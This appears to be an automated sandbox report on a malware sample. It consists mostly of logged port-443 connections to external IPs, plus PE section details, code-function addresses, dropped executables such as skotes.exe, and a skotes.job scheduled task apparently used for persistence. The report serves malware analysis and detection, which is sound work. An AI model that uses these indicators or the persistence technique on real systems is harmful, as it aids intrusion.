Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50077 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsFIIIIJKFCA.exe.0.dr	Static PE information: section name:
Source: DocumentsFIIIIJKFCA.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8162C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,		0_2_6C8162C0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_006DCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,		11_2_006DCB97

Source: C:\Users\user\DocumentsFIIIIJKFCA.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69AC60	0_2_6C69AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76AC30	0_2_6C76AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756C00	0_2_6C756C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68ECC0	0_2_6C68ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EECD0	0_2_6C6EECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75ED70	0_2_6C75ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BAD50	0_2_6C7BAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81CDC0	0_2_6C81CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C818D20	0_2_6C818D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694DB0	0_2_6C694DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C726D90	0_2_6C726D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72EE70	0_2_6C72EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C770E20	0_2_6C770E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69AEC0	0_2_6C69AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730EC0	0_2_6C730EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C716E90	0_2_6C716E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C752F70	0_2_6C752F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FEF40	0_2_6C6FEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0F20	0_2_6C7D0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696F10	0_2_6C696F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76EFF0	0_2_6C76EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690FE0	0_2_6C690FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8FB0	0_2_6C7D8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69EFB0	0_2_6C69EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C764840	0_2_6C764840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E0820	0_2_6C6E0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A820	0_2_6C71A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7968E0	0_2_6C7968E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C8960	0_2_6C6C8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6900	0_2_6C6E6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AC9E0	0_2_6C7AC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C49F0	0_2_6C6C49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7509B0	0_2_6C7509B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7209A0	0_2_6C7209A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74A9A0	0_2_6C74A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70CA70	0_2_6C70CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C748A30	0_2_6C748A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73EA00	0_2_6C73EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70EA80	0_2_6C70EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C796BE0	0_2_6C796BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698BAC	0_2_6C698BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730BA0	0_2_6C730BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8460	0_2_6C6A8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A430	0_2_6C71A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F4420	0_2_6C6F4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72A4D0	0_2_6C72A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D64D0	0_2_6C6D64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA480	0_2_6C7BA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730570	0_2_6C730570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F2560	0_2_6C6F2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8550	0_2_6C7D8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E8540	0_2_6C6E8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C794540	0_2_6C794540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71E5F0	0_2_6C71E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75A5E0	0_2_6C75A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6845B0	0_2_6C6845B0
